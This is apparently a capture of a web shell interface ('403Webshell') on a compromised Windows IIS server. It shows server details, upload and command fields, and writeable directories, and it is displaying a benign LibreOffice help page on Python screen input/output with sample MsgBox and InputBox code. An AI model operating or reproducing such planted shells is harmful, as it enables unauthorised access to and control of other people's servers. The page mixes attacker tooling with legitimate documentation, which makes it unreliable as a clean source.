403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.60
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/LibreOffice/help/en-US/text/sbasic/python/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files/LibreOffice/help/en-US/text/sbasic/python/python_screen.html
<!DOCTYPE html>
<html lang="en-US" dir="ltr">
<head>
<base href="../../../../">
<noscript><meta http-equiv="refresh" content="0; URL=../../../../en-US/noscript.html"></noscript>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Python : Screen Input/Output</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="en-US/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="en-US/bookmarks.js" defer></script><script type="text/javascript" src="en-US/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="en-US/text/shared/05/new_help.html"><div></div></a><a class="logo" href="en-US/text/shared/05/new_help.html"><p dir="auto">LibreOffice 24.2 Help</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Module</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contents</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Search in bookmarks for chosen module" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
    <a name="N0433"></a>
        <meta itemprop="keywords" content="Python,InputBox">
        <meta itemprop="keywords" content="Python,MsgBox">
        <meta itemprop="keywords" content="Python,Print">
        <meta itemprop="keywords" content="API,script.provider.MasterScriptProvider: Screen Input/Output">
        <meta itemprop="keywords" content="API,script.provider.XScript: Screen Input/Output">
    
    <h1 id="N0434" dir="auto">
<a name="ioscreen"></a>Input/Output to Screen</h1>
    <p id="N0435" class="paragraph" dir="auto">Python standard output file is not available when running Python macros from <span class="menuitem">Tools – Macros - Run Macro</span>... menu. Presenting the output of a module requires the Python interactive console. Features such as <span class="literal">input()</span>, <span class="literal">print()</span>, <span class="literal">repr()</span> and <span class="literal">str()</span> are available from the Python shell.</p>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="msgbox_tip" dir="auto">LibreOffice <span class="literal">msgbox</span> Python module proposes a <span class="literal">msgbox()</span> method that is illustrated in <a target="_top" href="en-US/text/sbasic/python/python_handler.html">Creating Event Listeners</a> and <a target="_top" href="en-US/text/sbasic/python/python_handler.html">Creating a dialog handler</a> example pages.</p></div>
</div>
<br>
    <p id="N0437" class="paragraph" dir="auto">LibreOffice Basic proposes <span class="literal">InputBox()</span>, <span class="literal">Msgbox()</span> and <span class="literal">Print()</span> screen I/O functions. Python alternatives exist relying either on LibreOffice API Abstract Windowing Toolkit, either on Python to Basic function calls. The latter proposes a syntax that is intentionally close to that of Basic, and uses a Python module next to a Basic module. The API Scripting Framework is used to perform Basic, BeanShell, JavaScript and Python inter-languages function calls.</p>
    <h2 id="N0438" dir="auto">Python syntax:</h2>
    <p id="N0439" class="code" dir="auto">MsgBox(txt, buttons=0, title=None)<br></p>
    <p id="N0440" class="code" dir="auto">InputBox(txt, title=None, default=None)<br></p>
    <p id="N0441" class="code" dir="auto">Print(txt)</p>
    <h2 id="N0442" dir="auto">Examples:</h2>
    <p id="N0443" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; import screen_io as ui</span></p>
    <p id="N0445" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; reply = ui.InputBox('Please enter a phrase', title='Dear user', defaultValue="here..")</span></p>
    <p id="N0446" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; rc = ui.MsgBox(reply, title="Confirmation of phrase")</span></p>
    <p id="N0447" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; age = ui.InputBox('How old are you?', title="Hi")</span></p>
    <p id="N0448" class="paragraph" dir="auto"><span class="literal">&gt;&gt;&gt; ui.Print(age)</span></p>
    <h2 id="N0449" dir="auto">Installation:</h2>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="N0450" class="listitem" dir="auto">Copy <span class="literal">screen_io</span> Python module in <a target="_top" href="en-US/text/sbasic/python/python_locations.html">My macros</a> within &lt;UserProfile&gt;/Scripts/python/pythonpath,</p>
        </li>
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="N0451" class="listitem" dir="auto">Copy <span class="literal">uiScripts</span> Basic module in <a target="_top" href="en-US/text/sbasic/python/python_locations.html">My macros</a> Standard Basic library,</p>
        </li>
        <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
            <p id="N0452" class="listitem" dir="auto">Restart LibreOffice.</p>
        </li>
    </ul>
    <h3 id="N0453" dir="auto">
<span class="literal">screen_io</span> Python module</h3>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-python line-numbers">
        # -*- coding: utf-8 -*-
        from __future__ import unicode_literals
        
        def MsgBox(prompt: str, buttons=0, title='LibreOffice') -&gt; int:
            """ Displays a dialog box containing a message and returns a value."""
            xScript = _getScript("_MsgBox")
            res = xScript.invoke((prompt,buttons,title), (), ())
            return res[0]
        
        def InputBox(prompt: str, title='LibreOffice', defaultValue='') -&gt; str:
            """ Displays a prompt in a dialog box at which the user can enter text."""
            xScript = _getScript("_InputBox")
            res = xScript.invoke((prompt,title,defaultValue), (), ())
            return res[0]
        
        def Print(message: str):
            """Outputs the specified strings or numeric expressions in a dialog box."""
            xScript = _getScript("_Print")
            xScript.invoke((message,), (), ())
        
        import uno
        from com.sun.star.script.provider import XScript
        def _getScript(script: str, library='Standard', module='uiScripts') -&gt; XScript:
            sm = uno.getComponentContext().ServiceManager
            mspf = sm.createInstanceWithContext("com.sun.star.script.provider.MasterScriptProviderFactory", uno.getComponentContext())
            scriptPro = mspf.createScriptProvider("")
            scriptName = "vnd.sun.star.script:"+library+"."+module+"."+script+"?language=Basic&amp;location=application"
            xScript = scriptPro.getScript(scriptName)
            return xScript
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id161655364816553" dir="auto"><span class="literal">MsgBox</span> and <span class="literal">InputBox</span> methods from the <a target="_top" href="en-US/text/sbasic/shared/03/sf_basic.html">Basic service</a> included in <a target="_top" href="en-US/text/sbasic/shared/03/lib_ScriptForge.html"> the ScriptForge libraries</a> call directly their native Basic counterparts.</p></div>
</div>
<br>
    <h3 id="N0492" dir="auto">
<span class="literal">uiScripts</span> Basic module</h3>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Click on text to copy to clipboard"><pre dir="auto"><code class="language-visual-basic line-numbers">
        Option Explicit
        Private Function _MsgBox( prompt As String, Optional buttons As Integer, _
                Optional title As String ) As Integer
            _MsgBox = MsgBox( prompt, buttons, title )
        End Function
        Private Function _InputBox( prompt As String, Optional title As String, _
                Optional default As String) As String
            _InputBox = InputBox( prompt, title, default )
        End Function
        Private Sub _Print( msg As String )
            Print msg
        End Sub
    </code></pre></div>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="tip_APSO" dir="auto">The <a target="_blank" href="https://extensions.libreoffice.org/extensions/apso-alternative-script-organizer-for-python">Alternative Python Script Organizer</a> (APSO) extension offers a msgbox() function out of its <span class="literal">apso_utils</span> module.</p></div>
</div>
<br>
    <a name="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a name="related"></a><span class="emph">Related Topics</span>
</p>
<div class="relatedbody" itemprop="mentions">
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/shared/03010000.html">Screen I/O Functions</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_examples.html">Python programming examples</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/main0000.html">LibreOffice Python Scripts Help</a></p></div>
        <div class="embedded"><p class="embedded" dir="auto"><a target="_top" href="en-US/text/sbasic/python/python_2_basic.html">Calling Basic Macros from Python</a></p></div>
    </div>
</div>
</div>
<div id="DonationFrame"></div>
<footer><div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/python/python_screen.xhp" target="_blank">/text/sbasic/python/python_screen.xhp</a></p>
<p dir="auto">Title is: Python : Screen Input/Output</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit